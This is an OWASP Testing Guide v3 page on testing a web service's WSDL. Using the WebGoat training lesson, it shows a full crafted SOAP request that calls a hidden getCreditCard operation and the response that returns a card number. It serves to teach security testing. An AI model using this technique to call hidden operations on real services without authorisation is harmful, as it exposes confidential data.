Testing WSDL (OWASP-WS-002)

OWASP Testing Guide v3 Table of Contents

This article is part of the OWASP Testing Guide v3. The entire OWASP Testing Guide v3 can be downloaded here.

OWASP at the moment is working at the OWASP Testing Guide v4: you can browse the Guide here

Brief Summary

Once the WSDL is identified, we can test that entry point.

Description of the Issue

Check the WSDL of the web service to find the entry points and try to invoke an operation that is not used in a standard SOAP Request. Ensure that the WS doesn’t give you some confidential information.

Black Box testing and example

Given the Standard SOAP message that the Web services supplier waits from Web services consumer, you can craft a particular message that invoke some hidden operations. Example:
A good example is WebGoat 5.0 WSDL Scanning lesson. The following is a screenshot from that lesson:

Here we have an interface that invokes a Web Service using only FirstName, LastName, and Login Count as parameters.
If you look at the relative WSDL you will find:

...
<wsdl:portType name="WSDLScanning">
<wsdl:operation name="getFirstName" parameterOrder="id">
<wsdl:input message="impl:getFirstNameRequest" name="getFirstNameRequest"/>
<wsdl:output message="impl:getFirstNameResponse" name="getFirstNameResponse"/>

</wsdl:operation>
<wsdl:operation name="getLastName" parameterOrder="id">
<wsdl:input message="impl:getLastNameRequest" name="getLastNameRequest"/>
<wsdl:output message="impl:getLastNameResponse" name="getLastNameResponse"/>
</wsdl:operation>

<wsdl:operation name="getCreditCard" parameterOrder="id">
<wsdl:input message="impl:getCreditCardRequest" name="getCreditCardRequest"/>
<wsdl:output message="impl:getCreditCardResponse" name="getCreditCardResponse"/>
</wsdl:operation>

<wsdl:operation name="getLoginCount" parameterOrder="id">
<wsdl:input message="impl:getLoginCountRequest" name="getLoginCountRequest"/>
<wsdl:output message="impl:getLoginCountResponse" name="getLoginCountResponse"/>
</wsdl:operation>
</wsdl:portType>
...

We find 4 operations and not only 3. Using WebScarab Web Service plugin, we can craft a SOAP Request to get the Credit Card given a specific ID.

The SOAP Request resulting from this request is:

POST http://localhost:80/WebGoat/services/SoapRequest HTTP/1.0
Accept: application/soap+xml, application/dime, multipart/related, text/*
Host: localhost:80
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-length: 576
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

<?xml version='1.0' encoding='UTF-8'?>
<wsns0:Envelope
  xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'
  xmlns:xsd='http://www.w3.org/2001/XMLSchema'
  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'>
  <wsns0:Body
    wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'>
    <wsns2:getCreditCard
          xmlns:wsns2='http://lessons.webgoat.owasp.org'>
      <id xsi:type='xsd:int'
          xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
      >101</id>
    </wsns2:getCreditCard>
  </wsns0:Body>
</wsns0:Envelope>

And the SOAP Response with the credit card number (987654321) is:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/xml;charset=utf-8
Date: Wed, 28 Mar 2007 10:18:12 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ns1:getCreditCardResponse soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"  xmlns:ns1="http://lessons.webgoat.owasp.org">
<getCreditCardReturn xsi:type="xsd:string">987654321</getCreditCardReturn></ns1:getCreditCardResponse>
</soapenv:Body>
</soapenv:Envelope>

WSDigger
WSDigger is a free open source tool to automate web services security testing.
With this tool we can test our web services interacting with them trough a simple interface and allows to search query and invoke web services dynamically without writing code.

When we interact with the web service malicious data has been entered into WSDigger the web service method must be invoked by clicking on the invoke button.

Result expected:

The tester should include full details of where the web service application permits access to an operation that is not used during normal SOAP messages and that provides access to confidential data.

References

Whitepapers

• W3Schools schema introduction - http://www.w3schools.com/schema/schema_intro.asp
  

Tools

• OWASP WebScarab: Web Services plugin
• Foundstone WSDigger: http://www.foundstone.com/us/resources/proddesc/wsdigger.htm